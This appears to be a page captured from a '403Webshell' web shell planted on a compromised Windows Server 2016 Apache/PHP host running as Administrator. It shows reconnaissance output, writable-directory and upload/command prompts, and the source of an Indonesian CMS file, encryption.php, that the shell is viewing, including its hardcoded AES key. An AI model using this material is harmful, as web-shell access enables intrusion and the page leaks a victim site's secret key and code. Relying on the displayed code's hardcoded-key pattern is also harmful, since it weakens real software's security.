403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bpkd/admin/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bpkd/admin/config/encryption.php
<?php
/**
 * File: admin/config/encryption.php
 * Fungsi untuk enkripsi dan dekripsi ID
 */

// Cek apakah class sudah didefinisikan
if (!class_exists('Encryption')) {
    class Encryption {
        private static $cipher = 'AES-256-CBC';
        private static $key = 'KUNCI_RAHASIA_CMS_2024'; // Ganti dengan kunci rahasia Anda
        private static $options = 0;
        
        /**
         * Enkripsi ID menjadi string
         * @param int $id ID yang akan dienkripsi
         * @return string Hasil enkripsi
         */
        public static function encryptId($id) {
            $iv_length = openssl_cipher_iv_length(self::$cipher);
            $iv = openssl_random_pseudo_bytes($iv_length);
            
            $encrypted = openssl_encrypt(
                (string)$id, 
                self::$cipher, 
                self::$key, 
                self::$options, 
                $iv
            );
            
            // Gabungkan IV dengan encrypted data
            $result = base64_encode($iv . $encrypted);
            
            // Buat URL-friendly (hapus karakter tidak aman)
            $result = str_replace(['+', '/', '='], ['-', '_', ''], $result);
            
            return $result;
        }
        
        /**
         * Dekripsi string menjadi ID
         * @param string $encrypted String terenkripsi
         * @return int|false ID asli atau false jika gagal
         */
        public static function decryptId($encrypted) {
            // Kembalikan karakter yang sudah di-replace
            $encrypted = str_replace(['-', '_'], ['+', '/'], $encrypted);
            
            $data = base64_decode($encrypted);
            if ($data === false) {
                return false;
            }
            
            $iv_length = openssl_cipher_iv_length(self::$cipher);
            $iv = substr($data, 0, $iv_length);
            $encrypted_data = substr($data, $iv_length);
            
            $decrypted = openssl_decrypt(
                $encrypted_data, 
                self::$cipher, 
                self::$key, 
                self::$options, 
                $iv
            );
            
            return is_numeric($decrypted) ? (int)$decrypted : false;
        }
        
        /**
         * Generate slug dari judul
         * @param string $title Judul artikel
         * @return string Slug yang aman untuk URL
         */
        public static function createSlug($title) {
            $slug = strtolower($title);
            $slug = preg_replace('/[^a-z0-9\s-]/', '', $slug);
            $slug = preg_replace('/\s+/', '-', $slug);
            $slug = preg_replace('/-+/', '-', $slug);
            return trim($slug, '-');
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit